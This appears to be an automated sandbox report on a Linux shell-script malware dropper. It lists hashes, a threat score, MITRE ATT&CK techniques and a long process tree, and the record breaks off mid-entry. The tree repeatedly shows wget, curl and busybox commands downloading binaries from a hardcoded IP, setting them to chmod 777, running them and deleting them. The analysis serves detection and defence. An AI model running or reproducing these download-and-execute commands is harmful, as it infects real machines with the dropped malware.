b066a1aa25fd6268d19d87c74d00d04786886e947defec4b70d9274dfb1af9f8

Analysis

max time kernel
20s
max time network
132s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
07/11/2024, 03:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b066a1aa25fd6268d19d87c74d00d04786886e947defec4b70d9274dfb1af9f8.sh
Size 10KB
Sample241107-dkjs9avbln
SHA256 b066a1aa25fd6268d19d87c74d00d04786886e947defec4b70d9274dfb1af9f8
MD5 d315f5f73485050cf7b713bdd6b7060b
SHA1 24c1382190c22ed25a3969743e5328ab29b3771e
SHA512 88b170a9a1b0ec6adf47929d895f93ff4c1d3a160f7eece4e3d9cf74cc2d52b66d23aca291bfdf584c50386b5fdd8cf85c171e52a1eae607f4935246c6f11872
SSDEEP 96:9q7eiRYUp3KccdoXcEBu6HLwX1FOkMHYkD9xiXNTLZl9OkMHYkAigAjMMlcEBu6+:9qrlslFOkMHYkD9IikMHYk1fy
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1678	chmod
1607	chmod
1632	chmod
1672	chmod
1613	chmod
1625	chmod
1536	chmod
1549	chmod
1555	chmod
1568	chmod
1658	chmod
1509	chmod
1639	chmod
1651	chmod
1582	chmod
1594	chmod
1524	chmod
1530	chmod
1561	chmod
1542	chmod
1645	chmod
1665	chmod
1684	chmod
1588	chmod
1600	chmod
1619	chmod
1516	chmod
1575	chmod

Executes dropped EXE 28 IoCs

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1547	curl
1605	curl
1606	busybox
1629	wget
1546	wget
1572	wget
1574	busybox
1608	F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
1609	rm
1548	busybox
1550	F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
1576	BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
1630	curl
1633	BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
1551	rm
1573	curl
1578	rm
1604	wget
1631	busybox
1635	rm

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT	curl
File opened for modification	/tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG	curl
File opened for modification	/tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi	curl
File opened for modification	/tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk	curl
File opened for modification	/tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP	curl
File opened for modification	/tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT	curl
File opened for modification	/tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u	curl
File opened for modification	/tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE	curl
File opened for modification	/tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u	curl
File opened for modification	/tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG	curl
File opened for modification	/tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt	curl
File opened for modification	/tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT	curl
File opened for modification	/tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT	curl
File opened for modification	/tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m	curl
File opened for modification	/tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk	curl
File opened for modification	/tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC	curl
File opened for modification	/tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i	curl
File opened for modification	/tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC	curl
File opened for modification	/tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM	curl
File opened for modification	/tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt	curl
File opened for modification	/tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i	curl
File opened for modification	/tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi	curl
File opened for modification	/tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l	curl
File opened for modification	/tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l	curl
File opened for modification	/tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE	curl
File opened for modification	/tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM	curl
File opened for modification	/tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m	curl
File opened for modification	/tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP	curl

/tmp/b066a1aa25fd6268d19d87c74d00d04786886e947defec4b70d9274dfb1af9f8.sh
/tmp/b066a1aa25fd6268d19d87c74d00d04786886e947defec4b70d9274dfb1af9f8.sh
1⤵
PID:1500
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1501
- /usr/bin/wget
  wget http://87.120.84.230/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:1502
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - Writes file to tmp directory
  PID:1507
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:1508
- /bin/chmod
  chmod 777 DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  ./DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - Executes dropped EXE
  PID:1510
- /bin/rm
  rm DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:1512
- /usr/bin/wget
  wget http://87.120.84.230/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:1513
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:1515
- /bin/chmod
  chmod 777 Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  ./Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - Executes dropped EXE
  PID:1517
- /bin/rm
  rm Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:1519
- /usr/bin/wget
  wget http://87.120.84.230/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:1520
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:1523
- /bin/chmod
  chmod 777 CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /tmp/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  ./CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  - Executes dropped EXE
  PID:1525
- /bin/rm
  rm CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://87.120.84.230/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:1527
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:1529
- /bin/chmod
  chmod 777 lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  ./lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  - Executes dropped EXE
  PID:1531
- /bin/rm
  rm lSIfMZglBGk62GujDk34Dyt6KlUPs5WliE
  2⤵
  PID:1532
- /usr/bin/wget
  wget http://87.120.84.230/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:1533
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - Writes file to tmp directory
  PID:1534
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:1535
- /bin/chmod
  chmod 777 CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - File and Directory Permissions Modification
  PID:1536
- /tmp/CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  ./CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  - Executes dropped EXE
  PID:1537
- /bin/rm
  rm CxZPATvrcpgwrotTmKvnfyjZp2RnPisL9u
  2⤵
  PID:1538
- /usr/bin/wget
  wget http://87.120.84.230/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:1539
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - Writes file to tmp directory
  PID:1540
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:1541
- /bin/chmod
  chmod 777 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - File and Directory Permissions Modification
  PID:1542
- /tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  ./5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - Executes dropped EXE
  PID:1543
- /bin/rm
  rm 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:1545
- /usr/bin/wget
  wget http://87.120.84.230/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:1546
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1547
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:1548
- /bin/chmod
  chmod 777 F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  ./F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1550
- /bin/rm
  rm F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:1551
- /usr/bin/wget
  wget http://87.120.84.230/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:1552
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - Writes file to tmp directory
  PID:1553
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:1554
- /bin/chmod
  chmod 777 g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  ./g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - Executes dropped EXE
  PID:1556
- /bin/rm
  rm g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:1557
- /usr/bin/wget
  wget http://87.120.84.230/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:1558
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:1560
- /bin/chmod
  chmod 777 SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - File and Directory Permissions Modification
  PID:1561
- /tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  ./SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - Executes dropped EXE
  PID:1562
- /bin/rm
  rm SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:1564
- /usr/bin/wget
  wget http://87.120.84.230/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:1565
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - Writes file to tmp directory
  PID:1566
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:1567
- /bin/chmod
  chmod 777 SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - File and Directory Permissions Modification
  PID:1568
- /tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  ./SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - Executes dropped EXE
  PID:1569
- /bin/rm
  rm SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:1571
- /usr/bin/wget
  wget http://87.120.84.230/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:1572
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1573
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:1574
- /bin/chmod
  chmod 777 BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - File and Directory Permissions Modification
  PID:1575
- /tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  ./BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1576
- /bin/rm
  rm BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:1578
- /usr/bin/wget
  wget http://87.120.84.230/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  PID:1579
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - Writes file to tmp directory
  PID:1580
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  PID:1581
- /bin/chmod
  chmod 777 u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - File and Directory Permissions Modification
  PID:1582
- /tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  ./u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - Executes dropped EXE
  PID:1583
- /bin/rm
  rm u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  PID:1584
- /usr/bin/wget
  wget http://87.120.84.230/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:1585
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - Writes file to tmp directory
  PID:1586
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:1587
- /bin/chmod
  chmod 777 s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - File and Directory Permissions Modification
  PID:1588
- /tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  ./s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - Executes dropped EXE
  PID:1589
- /bin/rm
  rm s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:1590
- /usr/bin/wget
  wget http://87.120.84.230/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:1591
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - Writes file to tmp directory
  PID:1592
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:1593
- /bin/chmod
  chmod 777 lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - File and Directory Permissions Modification
  PID:1594
- /tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  ./lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - Executes dropped EXE
  PID:1595
- /bin/rm
  rm lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:1596
- /usr/bin/wget
  wget http://87.120.84.230/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:1597
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - Writes file to tmp directory
  PID:1598
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:1599
- /bin/chmod
  chmod 777 SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - File and Directory Permissions Modification
  PID:1600
- /tmp/SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  ./SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  - Executes dropped EXE
  PID:1601
- /bin/rm
  rm SVrQYiJXI6HTQiV4Rsp9eCfJOSsczD90QC
  2⤵
  PID:1603
- /usr/bin/wget
  wget http://87.120.84.230/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:1604
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1605
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:1606
- /bin/chmod
  chmod 777 F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - File and Directory Permissions Modification
  PID:1607
- /tmp/F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  ./F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1608
- /bin/rm
  rm F70qfEvIpM3VEF97eZLtE1nfAIrfNhnsHM
  2⤵
  - System Network Configuration Discovery
  PID:1609
- /usr/bin/wget
  wget http://87.120.84.230/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:1610
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - Writes file to tmp directory
  PID:1611
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:1612
- /bin/chmod
  chmod 777 g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - File and Directory Permissions Modification
  PID:1613
- /tmp/g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  ./g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  - Executes dropped EXE
  PID:1614
- /bin/rm
  rm g9m6YevKiedE9tVEZxf54OfGYibxEE0ccT
  2⤵
  PID:1615
- /usr/bin/wget
  wget http://87.120.84.230/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:1616
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - Writes file to tmp directory
  PID:1617
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:1618
- /bin/chmod
  chmod 777 lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - File and Directory Permissions Modification
  PID:1619
- /tmp/lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  ./lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  - Executes dropped EXE
  PID:1620
- /bin/rm
  rm lyXLxGiJg0K6Y26YnCxzTWPdELx2enJ65i
  2⤵
  PID:1621
- /usr/bin/wget
  wget http://87.120.84.230/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:1622
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - Writes file to tmp directory
  PID:1623
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:1624
- /bin/chmod
  chmod 777 SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - File and Directory Permissions Modification
  PID:1625
- /tmp/SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  ./SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  - Executes dropped EXE
  PID:1626
- /bin/rm
  rm SYAxHEWGLvJoKmN16NocoC8x8vugQhEqyT
  2⤵
  PID:1628
- /usr/bin/wget
  wget http://87.120.84.230/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:1629
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1630
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:1631
- /bin/chmod
  chmod 777 BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - File and Directory Permissions Modification
  PID:1632
- /tmp/BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  ./BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1633
- /bin/rm
  rm BDQpfh5RrqYRBzloRxgTcipYix3rE43i4m
  2⤵
  - System Network Configuration Discovery
  PID:1635
- /usr/bin/wget
  wget http://87.120.84.230/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  PID:1636
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - Writes file to tmp directory
  PID:1637
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  PID:1638
- /bin/chmod
  chmod 777 u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - File and Directory Permissions Modification
  PID:1639
- /tmp/u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  ./u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  - Executes dropped EXE
  PID:1640
- /bin/rm
  rm u9KUT7Mi74FVO5nZWJ9UPFdCcFYTyrLNgG
  2⤵
  PID:1641
- /usr/bin/wget
  wget http://87.120.84.230/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:1642
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - Writes file to tmp directory
  PID:1643
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:1644
- /bin/chmod
  chmod 777 s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - File and Directory Permissions Modification
  PID:1645
- /tmp/s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  ./s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  - Executes dropped EXE
  PID:1646
- /bin/rm
  rm s8a0ml5R4Q2pzGaV3r3fU3pD1KTDkBWBRi
  2⤵
  PID:1647
- /usr/bin/wget
  wget http://87.120.84.230/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:1648
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - Writes file to tmp directory
  PID:1649
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:1650
- /bin/chmod
  chmod 777 Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - File and Directory Permissions Modification
  PID:1651
- /tmp/Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  ./Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  - Executes dropped EXE
  PID:1652
- /bin/rm
  rm Dd6PgAWrl6qAiaHnRQ0wum9SJerLAG4xNP
  2⤵
  PID:1654
- /usr/bin/wget
  wget http://87.120.84.230/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:1655
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - Writes file to tmp directory
  PID:1656
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:1657
- /bin/chmod
  chmod 777 DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - File and Directory Permissions Modification
  PID:1658
- /tmp/DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  ./DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  - Executes dropped EXE
  PID:1659
- /bin/rm
  rm DwwiE2TjtXE4epFig6QlA55pj5cpwonJqk
  2⤵
  PID:1661
- /usr/bin/wget
  wget http://87.120.84.230/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:1662
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - Writes file to tmp directory
  PID:1663
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:1664
- /bin/chmod
  chmod 777 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - File and Directory Permissions Modification
  PID:1665
- /tmp/5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  ./5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  - Executes dropped EXE
  PID:1666
- /bin/rm
  rm 5W1JnEEJF4xoRpqKOKi8OR1et42vAdIn5l
  2⤵
  PID:1668
- /usr/bin/wget
  wget http://87.120.84.230/bins/CMpOhergTXNOhW93cAZSy2pIm3lW2dKfEt
  2⤵
  PID:1669
- /usr/bin/curl
